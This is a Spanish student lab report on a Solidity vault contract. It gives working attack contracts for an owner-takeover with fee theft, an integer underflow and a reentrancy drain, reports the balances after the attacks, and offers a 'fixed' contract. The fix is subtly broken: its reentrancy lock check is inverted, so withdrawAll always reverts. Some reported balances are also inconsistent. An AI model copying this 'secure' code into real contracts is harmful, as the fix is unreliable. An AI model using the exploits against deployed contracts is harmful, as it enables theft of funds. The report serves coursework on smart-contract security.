PRACTICA 7 BLOCKCHAIN

Alejandro Ramírez y David Seijas

March 2022

1 Vulnerabilidades

Vulnerabilidad	Función	Línea
Underflow	withdraw(uint_amount)	72
Parity Wallet	fallback()	99
Reentrancy: unexpected callbacks	withdrawAll()	80

2 Atacantes

2.1 Parity Wallet

```
contract ParityWalletAttack {

    function attack (address ai) public {
        (bool success,) = ai.call(abi.encodeWithSignature("init(
            address)",address(this)));
        require(success,"init failed");
        (success,) = ai.call(abi.encodeWithSignature("collectFees()
            "));
        require(success,"collectFees failed");
    }

    //to check in Remix
    function getBalance() public view returns(uint){
      return address(this).balance;
    }

    receive () external  payable {
    }

}
```

2.2 Underflow

```
contract UnderflowAttack{

    CryptoVault d;

    constructor(address payable _d) public { d = CryptoVault(_d); }

    function attack () public payable{
        d.deposit{value: msg.value}();
        d.withdraw(msg.value + 1);
    }

    //to check in Remix
    function getBalance() public view returns(uint){
      return address(this).balance;
    }

    receive () external  payable {
    }
}
```

2.3 Reentrancy: unexpected callbacks

```
contract CallbackAttack {

    CryptoVault dao;

    constructor(address payable d) public { dao = CryptoVault(d); }

    function getBalance() public view returns(uint){
        return address(this).balance;
    }

    function attack() external payable{
        require(msg.value >= 1);
        dao.deposit{value: msg.value}();
        dao.withdrawAll();
    }

    receive() external payable {
        if (dao.getBalance() >= msg.value){
            dao.withdrawAll();
        }
    }
}
```

3 Explicación Ataques

Para los 3 ataques primero desplegamos la librería VaultLib y el contrato CryptoVault con la primera cuenta de usuario disponible en Remix. En los 3 casos se utiliza el mismo contrato de CryptoVault, el fee será de 2% y tendrá un saldo inicial de 19 ethers (hacemos deposit con otra cuenta de usuario que no participa en los ataques).

3.1 ParityWallet

- Desplegamos PartyWalletAttack con una cuarta cuenta. Tiene balance 0.
- Llamamos a la función attack con la misma cuenta, pasándole como argumento la dirección del contrato CryptoVault.
- Haciendo getBalance en ambos se obtiene: CryptoVault: 18.62 ethers; ParityWalletAttack: 3.8 ethers.
- Además, llamando a owner de CryptoVault, obtenemos la dirección del contrato ParityWallet.

3.2 UnderFlow

- Desplegamos UnderFlowAttack con una quinta cuenta, con argumento de entrada la dirección de CryptoVault. Tiene balance 0.
- Llamamos a la función attack, con un valor de 100 weis.
- Haciendo getBalance en ambos se obtiene: CryptoVault: 18.619 ethers; UnderFlowAttack: 101 weis

3.3 Reentrancy: unexpected callbacks

- Desplegamos el contrato CallbackAttack con una tercera cuenta, con argumento de entrada la dirección de CryptoVault.
- Llamamos a su función attack con un valor de 1 ether.
- Haciendo getBalance en ambos contratos se obtiene: CryptoVault: 0 ethers; CallbackAttack: 19.619 ethers

4 Versión Mejorada

```
1  // SPDX-License-Identifier: GPL-3.0
2  pragma solidity ^0.6.0; // Do not change the compiler version.
3
4  /*
5   * CryptoVault contract: A service for storing Ether.
6   */
7  contract CryptoVaultSol {
8      address public owner;       // Contract owner.
9      uint prcFee;                // Percentage to be subtracted from
           deposited
10                                 // amounts to charge fees.
11     uint public collectedFees; // Amount of this contract balance
           that
12                                 // corresponds to fees.
13     mapping (address => uint256) public accounts;
14
15     bool lock = false;          // Usamos lock para bloquear el
           contrato cuando podamos tener vulnerabilidades de reentrada
16
17     modifier onlyOwner() {
18         require(msg.sender == owner,"You are not the contract owner
               !");
19         _;
20     }
21
22     // Constructor sets the owner of this contract using a VaultLib
23     // library contract, and an initial value for prcFee.
24     constructor(uint _prcFee) public {
25         prcFee = _prcFee;
26         owner = msg.sender; //Eliminamos la libreria y a adimos la
                funcionalidad de poner como owner el que crea el
               contrato
27     }
28
29     // getBalance returns the balance of this contract.
30     function getBalance() public view returns(uint){
31         return address(this).balance;
32     }
33
34     // deposit allows clients to deposit amounts of Ether. A
           percentage
35     // of the deposited amount is set aside as a fee for using this
36     // vault.
37     function deposit() public payable{
38         require (msg.value >= 100, "Insufficient deposit");
39         uint fee = msg.value * prcFee / 100;
40         accounts[msg.sender] += msg.value - fee;
41         collectedFees += fee;
42     }
43
44     // withdraw allows clients to recover part of the amounts
           deposited
45     // in this vault.
46     function withdraw(uint _amount) public {
47         require (accounts[msg.sender] >=  _amount, "Insufficient
```

```
            funds"); //Cambiamos la operacion aritmetica para
                evitar el underflow y que no haya errores de "falsear"
                la cantidad a retirar y la disponible
48          accounts[msg.sender] -= _amount;
49          (bool sent, ) = msg.sender.call{value: _amount}("");
50          require(sent, "Failed to send funds");
51      }
52
53      // withdrawAll is similar to withdraw, but withdrawing all
            Ether
54      // deposited by a client.
55      function withdrawAll() public {
56          require(lock, "Contract locked"); //para ejecutar
                withdrawAll el contrato debe estar desbloqueado para no
                 ejecutarlo varias veces antes de actualizar accounts
57          uint amount = accounts[msg.sender];
58          require (amount > 0, "Insufficient funds");
59          lock = true; //bloqueamos el contrato cuando llamamos a
                call y lo desbloqueamos cuando hemos terminado para
                evitar llamadas continuas a msg.sender.call
60          (bool sent, ) = msg.sender.call{value: amount}("");
61          lock = false;
62          require(sent, "Failed to send funds");
63          accounts[msg.sender] = 0;
64      }
65
66      // collectFees is used by the contract owner to transfer all
            fees
67      // collected from clients so far.
68      function collectFees() public onlyOwner {
69          require (collectedFees > 0, "No fees collected");
70          (bool sent, ) = owner.call{value: collectedFees}("");
71          require(sent, "Failed to send fees");
72          collectedFees = 0;
73      }
74
75      // Any other function call is redirected to VaultLib library
76      // functions.
77      fallback () external payable {
78          revert("Calling a non-existent function!"); //Como en la
                libreria de antes, hacemos revert cuando llaman a
                funciones no definidas en el contrato
79      }
80      receive () external payable {
81          revert("This contract does not accept transfers with empty
                call data"); //Como en la libreria de antes, hacemos
                revert cuando se intentan hacer transeferencias sin
                call data
82      }
83  }
```